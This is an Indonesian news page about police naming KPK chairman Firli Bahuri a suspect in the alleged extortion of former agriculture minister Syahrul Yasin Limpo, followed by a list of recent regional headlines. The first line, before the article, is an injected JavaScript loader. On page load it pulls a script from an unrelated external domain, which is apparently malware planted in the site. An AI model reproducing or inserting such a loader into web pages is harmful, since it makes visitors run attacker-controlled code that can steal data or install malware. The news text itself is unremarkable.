(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Firli Bahuri Resmi Tersangka, Pimpinan KPK Tekankan Asas Praduga Tak Bersalah


KANALKALIMANTAN.COM, JAKARTA – Polda Metro Jaya resmi menetapkan Ketua KPK, Firli Bahuri sebagai tersangka kasus dugaan pemerasan terhadap eks Menteri Pertanian (Mentan), Syahrul Yasin Limpo (SYL).

“Menetapkan Saudara FB selaku Ketua KPK RI sebagai tersangka,” ujar Dirreskrimsus Polda Metro Jaya Kombes Pol Ade Safri Simanjuntak kepada wartawan, Rabu (22/11/2023) malam.

Ade menambahkan, saat ini pihaknya telah memeriksa 91 saksi terkait kasus tersebut. Firli juga bakal kembali diperiksa sebagai tersangka.

Sebelumnya, kasus dugaan pemerasan pimpinan KPK terhadap mantan Menteri Pertanian (Mentan) Syahrul Yasin Limpo (SYL) telah memasuki tahap penyidikan.

Baca juga: Mantan Kabid Disdik HSU Terjerat Korupsi, ‘Kumpulkan’ Uang dari Proyek DAK SD

Proses penyidikan dilakukan seusai pihak kepolisian melakukan gelar perkara 6 Oktober 2023 lalu.

Hingga saat ini, 91 saksi telah diperiksa terkait kasus tersebut. Mulai dari Firli Bahuri, ajudan Firli Bahuri, pegawai KPK, Kementan hingga Kapolrestabes Semarang Kombes Irwan Anwar. Selain itu sejumlah saksi ahli yakni Saut Situmorang dan M Jasin maupun pakar mikro ekspresi juga telah diperiksa.

Pimpinan Komisi Pemberantasan Korupsi (KPK) menekankan pentingnya untuk taat terhadap asas praduga tak bersalah.

Pernyataan ini disampaikan seusai Ketua KPK Firli Bahuri ditetapkan sebagai tersangka dalam kasus dugaan pemerasan terhadap mantan Menteri Pertanian (Mentan) Syahrul Yasin Limpo atau SYL.

Baca juga: Masuk 10 Besar, Kontingen Kalsel Sabet 42 Medali Pomnas XVIII 2023

“Kita harus taat dengan asas hukum,” kata Wakil Ketua KPK Johanis Tanak, di Jakarta, Kamis (23/11/2023).

Ditegaskan Tanak, setiap orang masih dianggap tidak bersalah selama belum ada putusan pengadilan yang berkekuatan hukum tetap.

“Setiap orang harus menghormati proses hukum,” tegas Tanak.

Firli Bahuri diketahui telah resmi ditetapkan sebagai tersangka kasus dugaan pemerasan terhadap SYL. Sementara itu, SYL saat ini juga telah ditahan oleh KPK terkait dugaan korupsi di lingkungan Kementan. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

13 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

13 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

13 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

14 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

14 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

14 jam ago

This website uses cookies.